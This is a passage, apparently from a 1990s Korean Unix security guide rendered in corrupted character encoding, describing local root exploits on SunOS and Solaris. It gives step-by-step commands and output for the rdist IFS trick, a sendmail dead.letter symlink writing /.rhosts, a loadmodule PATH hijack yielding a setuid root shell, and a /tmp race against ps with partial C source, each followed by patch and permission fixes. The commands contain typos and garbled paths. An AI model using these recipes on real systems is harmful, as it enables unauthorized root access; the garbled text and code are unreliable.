5. rdist¸¦ ½ÇÇà½ÃŲ´Ù. rdist´Â setuid°¡ ºÙ¾î Àֱ⠶§¹®¿¡ ½ÇÇà ¼ø°£¿¡´Â ·çÆ®ÀÇ ±ÇÇÑÀ¸·Î ½ÇÇàµÈ´Ù. ½ÇÇàÁß¿¡ /usr/lib/send mailÀ» ½ÇÇà½ÃÅ°·Á°í ÇÏÁö¸¸ IFS°¡ '/'·Î ¼³Á¤µÇ¾î Àֱ⠶§¹®¿¡ usrÀ» ½ÇÇà½ÃÅ°°Ô µÈ´Ù. À̶§ ¹Ì¸® ¸¸µé¾î ³õ¾Ò´ø usrÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ°Ô µÇ´Âµ¥ ÀÌ ÇÁ·Î±×·¥Àº ÀÌ¹Ì º¹»çÇصξú´ø ÇØÄ¿ ¼ÒÀ¯ÀÇ shÆÄÀÏÀ» ·çÆ®¼ÒÀ¯·Î ¹Ù²Ù¾î ¹ö¸®°í ¶Ç ÀÌ ÆÄÀÏ¿¡ setuid¸¦ ÷ °¡½ÃÅ°°Ô µÈ´Ù. °á±¹ ÇØÄ¿´Â ÀÌ shÆÄÀÏÀ» ½ÇÇà½ÃÅ°±â¸¸ ÇÏ¸é ·çÆ® ±ÇÇÑÀ» ¾ò¾î³¾ ¼ö ÀÖ°Ô µÈ´Ù.

2 ´ëÀÀÃ¥

rdist´Â Àß »ç¿ëµÇÁö ¾Ê´Â ÇÁ·Î±×·¥ÀÌ´Ù. ±×·¯¹Ç·Î rdistÀÇ setuid¸¦ Á¦°ÅÇÔÀ¸·Î½á °£´ÜÈ÷ ÀÌ ¹®Á¦¸¦ ÇØ°áÇÒ ¼ö ÀÖ´Ù ¸¸ÀÏ ²À »ç¿ëÇÏ°íÀÚ ÇÑ´Ù¸é SunOSÀÎ °æ¿ì¿¡´Â ÆÐÄ¡(Patch-ID#100383-06)¸¦ ¹Þ¾Æ¼­ rdist¸¦ ÆÐÄ¡Çϰųª, PLUS¿¡¼­ ¸¸µç OSEC1À» ¼³Ä¡Çϸé ÀÚµ¿ÀûÀ¸·Î ÆÐÄ¡µÈ´Ù. ±×·¯³ª ´Ù¸¥ ½Ã½ºÅÛÀÎ °æ¿ì¿¡´Â ÆǸÅÀÚ(vendor)¿Í Á¢ÃËÇÏ¿©¾ß ÇÑ´Ù. ÀÚ¼¼ÇÑ ³»¿ëÀº Á¦6Àå Á¦4Àý¿¡ ³ª¿À´Â ÆÐÄ¡¸¦ ÂüÁ¶Çϵµ·Ï ÇÏÀÚ.

Á¦ 5 Àý Sun sendmail¿¡¼­

¹ö±× ¸¹±â·Î ¾Ç¸íÀÌ ³ôÀº sendmailÀº ¾ÆÁ÷±îÁöµµ °è¼Ó ¹ö±×°¡ ³ëÃâµÇ¾î °ü¸®ÀÚ¿¡°Ô »ó´çÈ÷ ¾Ö¸¦ ¸ÔÀÌ´Â ÇÁ·Î±×·¥À̶ó ÇÒ ¼ö ÀÖ ´Ù. sendmailÀÇ °æ¿ì´Â È£½ºÆ®ÀÇ ³»ºÎ¿¡ °èÁ¤ÀÌ ¾ø¾îµµ ´Ù¸¥ È£½ºÆ®¿¡¼­ ¸ÞÀÏÀ» º¸³»¾î ¿øÇÏ´Â ¸í·ÉÀ» ¼öÇà½Ãų ¼ö ÀÖÀ¸¹Ç·Î Àß ¸øµÈ sendmailÀ» »ç¿ëÇÒ °æ¿ì¿¡´Â ½É°¢ÇÑ ¹®Á¦°¡ ¹ß»ý ÇÒ ¼ö ÀÖ´Ù.
ÀÇ ¼ö¸¹Àº ¹ö±× Áß¿¡¼­ À̹ø¿¡ ¼Ò°³ÇÒ ¹ö±×´Â sendmailÀÌ ¸ÞÀÏÀ» º¸³»Áö ¸øÇϸé dead.letter¸¦ »ý¼ºÇÏ´Â °Í¿¡ ±âÀÎÇÑ´Ù.

1 ¹®Á¦Á¡

sendmailÀÇ ¹®Á¦Á¡À» »ìÆ캸ÀÚ.
¡¤sendmailÀº setuid¸¦ °¡Áö°í ÀÖ´Ù.
% ls -1 /usr/lib/sendmail
160 -rwsr-x--x 1 root 155648 Apr 2 23:27 /usr/lib/sendmail*

¡¤sendmailÀº Á¸ÀçÇÏÁö ¾Ê´Â »ç¶÷¿¡°Ô ¸ÞÀÏÀÌ º¸³»¾îÁ®¼­ ¿¡·¯°¡ ¹ß»ýÇϸé ÀÚµ¿À¸·Î /var/tmp¿¡ dead.letter¶ó´Â ÆÄÀÏÀ» »ý ¼º½ÃŲ´Ù.

ÀÌ ¹ö±×¿¡ ´ëÇÑ ÇØÅ·ÀÇ ±Ùº»ÀûÀÎ Á¢±Ù¹æ¹ýÀº ¾Õ¿¡¼­ ÀÌ¹Ì ¼³¸íÇÑ ¹Ù ÀÖ´Â ¹ö±×¿Í µ¿ÀÏÇÏ´Ù°í º¼ ¼ö ÀÖ´Ù. ¾Æ·¡ÀÇ ³»¿ëÀ» »ìÆì º¸¸é /var/tmp/dead.letter¸¦ ¾²±â¸¦ ¿øÇÏ´Â ÆÄÀÏ(/.rhosts µî...)¿¡ ¸µÅ©½ÃÅ°°í ¾²¿©Áú ³»¿ëÀÌ ÀÖ´Â ÆÄÀÏ(test)À» sendmailÀ» ÀÌ¿ëÇÏ¿© Á¸ÀçÇÏÁö ¾Ê´Â »ç¶÷¿¡°Ô º¸³»¾î ¿¡·¯°¡ ¹ß»ýÇϵµ·Ï ÇÏ°í ÀÖ´Ù. ¿©±â¼­ ¿¡·¯°¡ ¹ß»ýÇÏ¸é º¸³»¾îÁöÁö ¾ÊÀº ¸ÞÀÏÀ» dead.l etter¿¡ ¾²°Ô µÇ´Âµ¥ ÀÌ´Â /.rhosts¿¡ ¸µÅ©°¡ µÇ¾î ÀÖÀ¸¹Ç·Î °á±¹¿¡´Â /.rhosts¿¡ ¾²°Ô µÇ´Â ¼ÀÀÌ´Ù.
´ÙÀ½°ú °°Àº °úÁ¤À¸·Î ·çÆ® ±ÇÇÑÀ» ¾ò¾î³¾ ¼ö ÀÖ´Ù.

1. /var/tmp¿¡ dead.letter¶ó´Â ½Éº¼¸¯ ¸µÅ© ÆÄÀÏÀ» ¸¸µç´Ù.
% ln -s /.rhosts /var/tmp/dead.letter
% ls pal /var/tmp
total 118
1 drwxrwxrwx 3 root 512 Aug 28 11:09 ./
1 drwxr-sr-x 9 root 512 Jul 9 14:39 ../
9 -rw------- 1 taiyo 9216 Aug 20 21:32 Ex00496
1 lrwxrwxrwx 1 plus 8 Aug 28 11:09 dead.letter -> /.rhosts

2. /.rhosts¿¡ ¾²°íÀÚ ÇÏ´Â ³»¿ëÀ» °¡Áö´Â ÆÄÀÏÀ» ¸¸µç´Ù.
% cat > test
localhost guest
-D

3. ¿¡·¯¸¦ ¹ß»ý½Ãų ¸ÞÀÏÀ» ÀǵµÀûÀ¸·Î º¸³½´Ù.

% /usr/lib/sendmail -LO '-oM#anything' $USER < test
expansion too long
expansion too long
setsender: can't even parse postmaster!
expansion too long
plus... cannot resolve name
Possible alias loop
No valid recipients
expansion too long
Mailer-Daemon... cannot resolve name
Can't parse myself!

´ÙÀ½°ú °°Àº °á°ú¸¦ ¾ò°Ô µÈ´Ù.

% cat /.rhosts
From plus Mon Aug 28 11:14:48 1995
Return-Path: <plus>
Received: by isis.pyramid.ac.kr (4.1/SMI-4.1)
id AA15174; Mon, 28 Aug 95 11:14:48 KDT
Date: Mon, 28 Aug 95 11:14:48 KDT
From: plus
Message-Id: <[email protected]>

localhost guest

2 ´ëÀÀÃ¥

SendmailÀÇ ¼Ò½º´Â °íÄ¥ ¼ö ¾ø°í(ÇÒ ¼ö ÀÖÁö¸¸ ¾î·Æ´Ù), »ç¿ëÇÏÁö ¾ÊÀ» ¼öµµ ¾øÀ¸¹Ç·Î ÆÐÄ¡¸¦ ÇÏ´Â ¼ö ¹Û¿¡ ¾ø´Ù. ÃֽŠBerkel ey sendmailÀ» ¹Þ¾Æ¼­ ¼³Ä¡ÇÏ´Â °Íµµ ÃßõÇÏ°í ½ÍÀº ¹æ¹ý ÁßÀÇ ÇϳªÀÌ´Ù. sendmailÀÇ ¹öÀüÀº sendmail.8.6.11ÀÌ»óÀ̸é ÁÁÀºµ¥, ÇÑ±Û »ç¿ëÀÚ¶ó¸é sendmail.8.6.12H¸¦ ±ÇÀåÇÑ´Ù.

Á¦ 6 Àý OpenwinÀÇ loadmodule¿¡¼­

loadmoduleÀº OpenWindows¿¡¼­ »ç¿ëµÇ´Â À¯Æ¿¸®Æ¼·Î¼­ ¼­¹ö°¡ ·Îµå °¡´ÉÇÑ µå¸®À̹ö¸¦ À¯´Ð½ºÀÇ Ä¿³Î¿¡ ·ÎµåÇϱâ À§ÇÏ¿© »ç¿ë ÇÑ´Ù. loadmodule ¹ö±×´Â chmod¸¦ Àý´ë °æ·Î¸¦ µÎÁö ¾Ê°í ¼öÇàÇÑ´Ù´Â °ÍÀÌ´Ù. chmod¶ó´Â À̸§ÀÇ ½ÇÇàÆÄÀÏÀ» ¸¸µé¾î ÃÖ¿ì¼± °æ·Î ¿¡ µÎ¸é, loadmodule¿¡ ÀÇÇÏ¿© ·çÆ®ÀÇ ±ÇÇÑÀ¸·Î ÀÌ ½ÇÇàÆÄÀÏÀÌ ¼öÇàµÈ´Ù.

1 ¹®Á¦Á¡

loadmoduleÀÇ ¹®Á¦Á¡À» Á¤¸®Çϸé,

¡¤loadmoduleÀº setuid¸¦ °¡Áö°í ÀÖ´Ù.

% ls -1 /usr/openwin/bin/loadmodule
-rwsr-xr-x 1 root 24576 Sep 18 1991 /usr/openwin/bin/loadmodule*

¡¤loadmoduleÀº chmod()¸¦ »ç¿ëÇÔ¿¡ ÀÖ¾î Àý´ë °æ·Î¸¦ ÅëÇÏ¿© »ç¿ëÇÏ°í ÀÖÁö ¾Ê´Ù.
À§ÀÇ ³»¿ë¿¡ ºñÃß¾î ´ÙÀ½°ú °°Àº °úÁ¤À¸·Î ·çÆ® ±ÇÇÑÀ» ¾ò¾î³¾ ¼ö ÀÖ´Ù.

1. ¸ÕÀú loadmoduleÀÌ Á¸ÀçÇÏ´ÂÁö¸¦ È®ÀÎÇÑ´Ù.

% ls -1 /usr/openwin/bin/loadmodule
-rwsr-xr-x 1 root 24576 Sep 18 1991 /usr/openwin/bin/loadmodule*

2. loadmoduleÀÌ Á¸ÀçÇÑ´Ù¸é, loadmodule¿¡ ÀÇÇÏ¿© ½ÇÇàµÇ´Â evqloadÀÇ ³»¿ëÀÌ ´ÙÀ½°ú °°ÀºÁö È®ÀÎÇÑ´Ù.

% cat /ect/openwin/modules/ebqload
#!/bin/sh
# @(#)evqload.sh q.w 91/09/14
#
# Copyright (c) 1991 by Sun Microsystems, Inc.

# Executed by loadmodule to create tje /den/evq device entry

if [ $4 ! = 0 ]; then
if [-f /dev/evq]; then
rm/dev/evq
fi

/etc/mknod/dev/evq c $4 0
chmod 666 /dev/evq
fi

3. ¿ª½Ã loadmodule¿¡ ÀÇÇÏ¿© ½ÇÇàµÇ´Â winlockloadÀÇ ³»¿ëÀÌ ´ÙÀ½°ú °°À½À» È®ÀÎÇÑ´Ù.

% cat /etc/openwin/modules/winlockload
#!/bin/sh

# @(#)winlockload.sh 1.2. 91/09/14
#
# Copyright (c) 1991 by Sun Microsystems, Inc.

# Executed by loadmodule to create the /dev/winlock device entry
if [ $4 != 0]; then
if [ -f /dev/winlock ]; then
rm/dev/winlock
fi

/etc/mknod/dev/winlock c $4 0
chmod 666 /dev/winlock

4. ¾Æ·¡ÀÇ ÆÄÀϵéÀÌ Á¸ÀçÇÏ´ÂÁö È®ÀÎÇÑ´Ù.

% ls /sys/sun4m/OBJ/evq*
/sys/sun4m/OBJ/evqmod-sun4.o
/sys/sun4m/OBJ/evqmod-sun4c.o
/sys/sun4m/OBJ/evqmod-sun4m.o

5. /bin/shÀ» ÇöÀçÀÇ µð·ºÅ丮¿¡ hellÀ̶ó´Â À̸§À¸·Î º¹»çÇÑ´Ù.

% cp /bin/sh ./hell

6. loadmoduleÀÌ ½ÇÇàÇÒ ÇÁ·Î±×·¥À» Çϳª ¸¸µé¾î ½ÇÇàÆÄÀÏÀÇ À̸§ÀÌ chmod°¡ µÇµµ·Ï ÄÄÆÄÀÏÇÑ´Ù. ÀÌ ÇÁ·Î±×·¥ÀÌ ¼öÇàÇÏ¿©¾ß ÇÒ ³»¿ëÀº ÇöÀç µð·ºÅ丮¿¡ ÀÖ´Â hellÀ̶ó´Â ÆÄÀÏÀÇ ¼ÒÀ¯±ÇÀ» ·çÆ®·Î ¸¸µé°í ¸ðµå¿¡ setuid¸¦ ÷°¡ÇÏ´Â °ÍÀÌ´Ù.

7. ÇöÀç µð·ºÅ丮¿¡¼­ °æ·Î¸¦ ´ÙÀ½°ú °°ÀÌ ÁöÁ¤ÇÑ´Ù.

% set path=(. $path)

8. loadmoduleÀ» ½ÇÇà½ÃŲ´Ù.

% /usr/openwin/bin/loadmodule evqmod-sunrm.o evqload
/usr/openwin/bin/loadmodule: child process died with status 65024

9. ÀÌÁ¦ setuid°¡ ºÙÀº ·çÆ® ¼ÒÀ¯ÀÇ ½ÇÇàÆÄÀÏÀÌ »ý¼ºµÇ¾ú´Ù.

% ls -1 hell
-rwsr-sr-x 1 root 106496 Apr 8 18:48 hell*

10. ÀÌÁ¦ ÀÌ ½ÇÇàÆÄÀϸ¸ ½ÇÇà½ÃÅ°¸é ´ÙÀ½°ú °°ÀÌ ·çÆ®°¡ µÈ´Ù.

% ./hell
# whoami
root

´ÙÀ½Àº loadmoduleÀ» ÀÌ¿ëÇÑ ÇØÅ·ÀÇ ¶Ç´Ù¸¥ ¿¹ÀÌ´Ù. loadmoduleÀ» ¾Æ·¡ÀÇ ¿¹¿¡¼­¿Í °°ÀÌ ½ÇÇà½ÃÅ°¸é loadmoduleÀº /bin µð·ºÅä ¸® ¾Æ·¡ÀÇ ÇÁ·Î±×·¥À» ¼öÇàÇÏ°Ô µÈ´Ù. À̶§ rdist¿¡¼­¿Í °°ÀÌ IFS¸¦ '/'·Î ¼³Á¤Çϸé binÀ̶ó´Â ½ÇÇàÆÄÀÏÀÌ ¼öÇàµÈ´Ù. Áï, rdist ¿¡¼­ÀÇ ÇØÅ·¿ë ÆÄÀÏÀÎ usr°ú ¶È°°Àº ³»¿ëÀÇ binÀ̶ó´Â ½ÇÇàÆÄÀÏÀ» ¸¸µé¾îÁֱ⸸ ÇÏ¸é °°Àº °á°ú¸¦ ¾òÀ» ¼ö ÀÖ´Ù.

% setenv IFS/
% /usr/openwin/bin/loadmodule/sys/sun4c/OBJ/evqmod-sun4c.o \
/etc/openwin/modules/evqload

2 ´ëÀÀÃ¥

loadmoduleµµ rdist¿Í °°´Ù. Àß »ç¿ëµÇÁö ¾Ê°í, ¾²Áö ¾Ê¾Æµµ ºÒÆíÇÏÁö ¾Ê´Ù. ±×·¯¹Ç·Î setuidÀ» Á¦°ÅÇÏ´Â ¹æ¹ýÀ» ÃßõÇÏ°í ½Í ´Ù. ±×·¯³ª ²À ÇÊ¿äÇÏ´Ù¸é ÆÐÄ¡¸¦ ¹Þ¾Æ ¼³Ä¡Çϵµ·Ï ÇÑ´Ù. Á¦6Àå Á¦4Àý¿¡ ³ª¿À´Â ÆÐÄ¡¸¦ ÂüÁ¶Çϱ⠹ٶõ´Ù.


Á¦ 7 Àý Solaris 2.x(Sunos 5.x)ÀÇ /tmp¿¡¼­

Solaris 2.x½Ã½ºÅÛ¿¡¼­ /tmp µð·ºÅ丮³ª /var/tmp µð·ºÅ丮ÀÇ permissionÀÌ À߸øµÇ¾î ÀÖÀ» °æ¿ì ¹®Á¦°¡ »ý±æ ¼ö ÀÖ´Ù. º¸Åë /t mpµð·ºÅ丮ÀÇ permission¿¡´Â ´ÙÀ½°ú °°ÀÌ sticky bit(t)ÀÌ ºÙ¾î ÀÖ´Ù.

% /bin/ls -ld /tmp
drwxrwsrwt 2 sys sys 61 Sep 6 12:53 /tmp

¸¸ÀÏ .sticky bitÀÌ ºÙ¾î ÀÖÁö ¾Ê´Ù¸é ÀÏ¹Ý »ç¿ëÀÚ°¡ °£´ÜÇÑ °æÀï Á¶°ÇÀ» ÀÌ¿ëÇÑ ÇÁ·Î±×·¥À¸·Î½á ·çÆ®ÀÇ ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖ´Ù. ½Ã½ºÅÛ¿¡¼­ tmpfs ¸¦ »ç¿ëÇÏ°í ÀÖ´Ù¸é, ÀÌ ½Ã½ºÅÛÀº /tmp µð·ºÅ丮¿¡¼­ sticky bitÀ» »©¹ö¸®±â ¶§¹®¿¡ ¹®Á¦¸¦ ÀÏÀ¸Å³ ¼ö ÀÖ´Ù.

1 ¹®Á¦Á¡

Solaris 2.x¿¡¼­ /tmpÀÇ ¹®Á¦Á¡À» Á¤¸®ÇÏ¸é ´ÙÀ½°ú °°´Ù.

¡¤/tmp µð·ºÅ丮¿¡ sticky bitÀÌ ºÙ¾î ÀÖÁö ¾Ê´Ù.

% /bin/ls -ld /tmp
drwxrwsrwx 2 sys sys 61 Sep 6 12:53 /tmp

/tmp µð·ºÅ丮¿¡ ÀÌ¿Í °°ÀÌ sticky bitÀÌ ºÙ¾î ÀÖÁö ¾ÊÀ¸¸é /usr/bin/ps°¡ ½ÇÇàÇÒ ¶§ °æÀïÁ¶°ÇÀÌ »ý±ä´Ù.
¸ÕÀú ps°¡ ¾î¶»°Ô µ¿ÀÛÇÏ´ÂÁö »ìÆ캸ÀÚ. ps´Â ÇÁ·Î¼¼½ºÀÇ »óŸ¦ º¸¿©ÁÖ´Â À¯¿ëÇÑ ¸í·É¾îÀÌ´Ù. ÀÌ´Â ½ÇÇàÁß¿¡ Àӽ÷ΠÁ¤º¸¸¦ ÀúÀåÇÒ ÆÄÀÏÀ» Çϳª »ý¼ºÇÑ´Ù. ¿¹¸¦ µé¾î ±× ÆÄÀÏ À̸§À» ps.PID¶ó°í ÇÏÀÚ. ps´Â /tmpµð·ºÅ丮¿¡ /tmp/ps.PID¶ó´Â ÆÄÀÏÀ» ¿­°í, ÀÌ ÆÄÀÏÀÇ ¼ÒÀ¯ÁÖ¸¦ ·çÆ®·Î ¹Ù²Û´Ù. ±×¸®°í ±× ÆÄÀÏÀÇ À̸§À» /tmp/ps_data·Î ¹Ù²Û´Ù. ¸¸¾à ps°¡ /tmp/ps.PID¶ó´Â ÆÄÀÏÀ» ¿­°í³­ ÈÄ¿¡, ½Ã½ºÅÛ¿¡ ħÀÔÇÏ·Á´Â ´Ù¸¥ »ç¶÷ÀÇ ÇÁ·Î¼¼½º°¡ ÀÌÆÄÀÏÀ» unlinkÇÏ°í, ÀÓÀÇ·Î setuid°¡ ºÙÀº ÀÚ½ÅÀÇ /bin/sh°°Àº ÆÄÀÏ¿¡ ´Ù ½Ã ½Éº¼¸¯ ¸µÅ©¸¦ Çعö·È´Ù°í °¡Á¤ÇÏÀÚ. /tmpµð·ºÅ丮°¡ ¸ðµç »ç¿ëÀÚ¿¡°Ô ¾²±â ±ÇÇÑÀ» Áֱ⠶§¹®¿¡ ÀÌ°ÍÀº °¡´ÉÇÑ ÀÏÀÌ´Ù. ¾Æ¹« °Íµµ ¸ð¸£°í ÀÖ´Â psÇÁ·Î¼¼½º´Â ¿©´À¶§¿Í ¸¶Âù°¡Áö·Î ÀÚ½ÅÀÇ ps.PIDÆÄÀÏÀÇ ¼ÒÀ¯ÁÖ¸¦ ·çÆ®·Î ¹Ù²Ü °ÍÀÌ´Ù. ÀÌ¿Í °°Àº °æÀï Á¶°ÇÀº ´ÙÀ½ÀÇ ¿¹¸¦ º¸¸é ÀÌÇØ°¡ ´õ Àß µÉ °ÍÀÌ´Ù.
¿¹¸¦ µé¾î,

1. hack.c¶ó´Â ÇÁ·Î±×·¥À» Çϳª ¸¸µç´Ù.

% cat hack.c
/
/* hack.c
* for only solaris 2.x.
*/
#include <stdio.h>
. . .
main(argc,argv)
int argc ;
char *argv [] ;
{
. . .
. . . /* check some condition */
strcpy( targetfile, argv[1] ) ;
dirp = opendir("/tmp") ;
for (;;) {
while (( dp = readdir(dirp)) ! = NULL {
if (
!strncmp(dp->d_name, "ps.", 3)) {
unlink(name); /* unlink ps,PID */
/* symbolic link to targetfile */
symlink(targetfile.name);
if ( stat(targetfile,&fileinfo) >= 0)
if ( fileinfo.st_uid == 0) {
/* if it owned by root */
printf( "Success !\n") ;
exit(1) ;
} } } /* while */
} /* for */
. . .
}

2. hack.c¸¦ ÄÄÆÄÀÏÀ» ÇÑ´Ù.

% cc -o hack hack.c

3. ¾Æ·¡ÀÇ ¸í·É¾îµéÀ» ¼öÇàÇÑ´Ù.

% cp /bin/sh -/rootshell ; shmod 14775 -/rootshell
% /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &
% ./hack -/rootshell
. . .
Success !
% -/rootshell
#whoami
root

ÀÌ·¸°Ô ÇÔÀ¸·Î½á ÇØÄ¿´Â setuid°¡ ºÙ¾î ÀÖ´Â ·çÆ® ¼ÒÀ¯ÀÇ -/rootshellÀ» ¾òÀ» ¼ö ÀÖ°í À̸¦ ½ÇÇàÇÔÀ¸·Î½á ½±°Ô ·çÆ®ÀÇ ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖ´Ù.

2 ´ëÀÀÃ¥

1. ¸ÕÀú ½Ã½ºÅÛ¿¡ ¹®Á¦°¡ ÀÖ´ÂÁö È®ÀÎÇÑ´Ù.
Áö±Ý tmpfs°¡ ½ÇÇàµÇ¾î /tmpµð·ºÅ丮°¡ swap¿¡ ¸¶¿îÆ® µÇ¾î ÀÖ´ÂÁö È®ÀÎÇÑ´Ù. È®ÀÎÇÏ´Â ¹æ¹ý¿¡´Â ´ÙÀ½ÀÇ µÎ °¡Áö°¡ ÀÖ´Ù.

% /usr/sbin/df -k /tmp
Filesystem kbytes used avail capacity Mounted on
swap 28348 12 28336 0% /tmp

¶Ç´Â ÆÄÀÏ ½Ã½ºÅÛÀÇ ¼³Á¤ ÆÄÀÏÀÎ /etc/vfstabÀ» º»´Ù.

#device device mount FS fsck mount mount
#to mount to fsck point type pass at boot options
swap - /tmp tmpfs - yes -

¸¸¾à À§ÀÇ µÎ°¡Áö °æ¿ì Áß Çϳª¿¡ ¼ÓÇϸé, ½Ã½ºÅÛ¿¡¼­´Â tmpfs¸¦ ¼öÇàÁßÀ̸ç, ¶ÇÇÑ ÇöÀç /tmpµð·ºÅ丮¿¡ sticky bitÀÌ ¼³Á¤µÇ¾î ÀÖ´Ù ÇÏ´õ¶óµµ, ´ÙÀ½ ºÎÆýÿ¡ sticky bitÀÌ ºüÁö°Ô µÈ´Ù. /tmpµð·ºÅ丮¿¡ sticky bitÀÌ ÀÖ´Â °æ¿ì´Â ´ÙÀ½°ú °°´Ù.

% /usr/bin/ls -ld /tmp
drwxrwxrwt 2 sys sys 61 Aug 15 12:12 /tmp

¸¸¾à drwxrwxrwt´ë½Å¿¡ drwxrwxrwxÀ¸·Î µÇ¾î ÀÖ´Ù¸é ½Ã½ºÅÛÀº ´çÀåÀÌ¶óµµ Ä§ÀÔ´çÇÒ ¼ö ÀÖ´Ù.

2. ±×¸®°í ´ÙÀ½°ú °°Àº ÀÛ¾÷À» ¼öÇàÇÑ´Ù.

¸ÕÀú /tmpµð·ºÅ丮¿¡ sticky bitÀ» ¼³Á¤ÇÑ´Ù. ±×¸®°í ¼ÒÀ¯ÁÖ¿Í ¼ÒÀ¯±×·ìÀ» Á¤È®ÇÏ°Ô ¼³Á¤ÇØ ÁØ´Ù.

# /usr/bin/chmod 1777 /tmp
# /usr/bin/chown sys /tmp
# /usr/bin/chgrp sys /tmp
# /usr/bin/ls -ld /tmp
drwxrwxrwt 2 sys sys 61 Aug 15 12:12 /tmp

±×·¯³ª À§ÀÇ ÀÛ¾÷À» ¼öÇàÇÏ¿©µµ ´Ù½Ã ºÎÆÃÇÑ´Ù¸é /tmpµð·ºÅ丮ÀÇ sticky bitÀÌ ¾ø¾îÁø´Ù. µû¶ó¼­ ¿µ¿øÈ÷ /tmpÀÇ permissionÀ» ¼³Á¤Çϱâ À§Çؼ­´Â ºÎÆýÿ¡ ¼öÇàµÇ´Â ÇÁ·Î½ÃÁ®¿¡ ³Ö¾îµÑ ÇÊ¿ä°¡ ÀÖ´Ù. ´ÙÀ½ÀÇ ½ºÅ©¸³Æ®¸¦ ÀÛ¼ºÇÏ¿© /etc/rc.3d/S79tmpfix·Î ¸µ Å©½ÃÅ°µµ·Ï ÇÏÀÚ.

# cat /etc/init.d/tmpfsfix
#!/bin/sh
#This script run as root.

if [ -d /tmp]
then
/usr/bin/chmod 1777 /tmp
/usr/bin/chgrp sys /tmp
/usr/bin/chown sys /tmp
fi
#
# ln -s /etc/init.d/tmpfsfix /etc/rc3.d/S79tmpfix
#

±×¸®°í ´ÙÀ½ ºÎÆýÿ¡ /tmpÀÇ permissionÀÌ Á¤È®È÷ µÇ¾ú´ÂÁö È®ÀÎÇÑ´Ù.

3. /var/tmp µð·ºÅ丮¸¦ È®ÀÎÇÑ´Ù.

ÀÌ µð·ºÅ丮´Â tmpfs¿¡ ÀÇÇÏ¿© ÀÚµ¿ÀûÀ¸·Î ¼³Á¤µÇ´Â µð·ºÅ丮°¡ ¾Æ´Ï´Ù. µû¶ó¼­ Çѹø permissionÀ» º¯°æ½ÃÅ°¸é ¾Æ¹«¸® ºÎÆÃÇÏ ´õ¶óµµ ¹Ù²îÁö ¾Ê´Â´Ù. µû¶ó¼­ ¿©±â¿¡ sticky bitÀÌ ºÙ¾î ÀÖ´ÂÁö È®ÀÎÇÏ°í, ¾øÀ¸¸é sticky bitÀ» ºÙ¿©ÁØ´Ù.

% /usr/bin/ls -ld /var/tmp
drwxrwxrwt 2 sys sys S12 Aug 15 11:35 /var/tmp

À§¿Í °°ÀÌ ³ªÅ¸³­´Ù¸é ¹®Á¦°¡ ¾ø´Â °ÍÀÌ´Ù.

Á¦ 8 Àý Aytcreply¿¡¼­

Autoreply´Â elm ¸ÞÀÏ ½Ã½ºÅÛÀÇ ÀϺημ­ »ç¿ëÀÚ°¡ ÀÚ½ÅÀÇ ¸ÞÀÏ¿¡ ´ëÇÑ ÀÚµ¿ ÀÀ´äÀ» ½±°Ô ¼³Á¤ÇÒ ¼ö ÀÖµµ·Ï µµ¿ÍÁÖ´Â À¯Æ¿¸®Æ¼ ÇÁ·Î±×·¥ÀÌ´Ù.
»ç¿ë¹ýÀº ´ÙÀ½°ú °°´Ù.
¡¤autoreply
ÀÚµ¿ ÀÀ´äÀÌ Áö±Ý ¼³Á¤µÇ¾î ÀÖ´Â »óÅÂ(on/off)¸¦ ¾Ë·ÁÁØ´Ù.
¡¤autoreply off
ÀÚµ¿ ÀÀ´äÀ» ²ö´Ù.
¡¤autoeply filename
ÀÚµ¿ ÀÀ´äÀ» ÄÒ´Ù. Áï, ¸ÞÀÏÀÌ ¿À¸é ÀÇ ³»¿ëÀÌ ÀÚµ¿ ÀÀ´äÀ¸·Î º¸³»¾îÁø´Ù.

1 ¹®Á¦Á¡

ÇÁ·Î±×·¥ÀÇ ¹®Á¦Á¡Àº (1) setuid°¡ ºÙ¾î ÀÖ¾î¾ß ÇÑ´Ù´Â Á£, (2) ÀÌ ÇÁ·Î±×·¥ÀÌ ¸¸µå´Â Àӽà ÆÄÀÏ À̸§À» ÃßÃøÇϱⰡ ½±´Ù´Â °Í , ±×¸®°í (3) ±× Á¡À» ÀÌ¿ëÇÏ¿© º¸ÅëÀÇ »ç¿ëÀÚ°¡ ¾î¶²ÆÄÀÏÀÌµç ¸¸µé ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù.
¸ÕÀú autoreplyÀÇ µ¿ÀÛÀ» ´ÙÀ½ÀÇ ¿¹¸¦ ÅëÇÏ¿© »ìÆì º¸ÀÚ. »ç¿ëÀÚ 'plus'°¡

% autoreply reply.txt

¶ó°í ½ÇÇàÇϸé autoreply´Â /etc/autoreply.data¶ó´Â ÆÄÀÏ¿¡

plus /home/plus/reply.txt 32

¶ó´Â ÁÙÀ» Ãß°¡ÇÑ´Ù.(¼ø¼­´ë·Î '»ç¿ëÀÚ', 'ÆÄÀÏÀ̸§', 'ÆÄÀÏÅ©±â').
±× ÈÄ¿¡ »ç¿ëÀÚ°¡

% autoreply off

¶ó´Â ¸í·ÉÀ» ½ÇÇàÇϸé autoreply´Â /etc/autoreply.data¿¡¼­ 'plus'¸¦ »©´Âµ¥, ÆÄÀÏ Áß°£¿¡¼­ ÇÑ ÁÙÀ» »©´Â ½Ã½ºÅÛ ÄÝÀº ¾øÀ¸ ¹Ç·Î, /tmp/arep.PID(¸¸ÀÏ °¡ ÀÚ¸®°¡ ¾È µÇ¸é ¿ÞÂÊ¿¡ À» ä¿ö ÀÚ¸®·Î ¸¸µç´Ù)¶ó´Â À̸§ÀÇ ÆÄÀÏÀ» ¸¸µé¾î /etc/autoreply.data¿¡ ¼­ 'plus'·Î ½ÃÀÛÇÏ´Â ÁÙÀ» »« ³ª¸ÓÁö¸¦ º¹»çÇÑ ÈÄ ±× ³»¿ëÀ» ´Ù½Ã /etc/autoreply.data·Î º¹»çÇÏ°Ô µÈ´Ù.
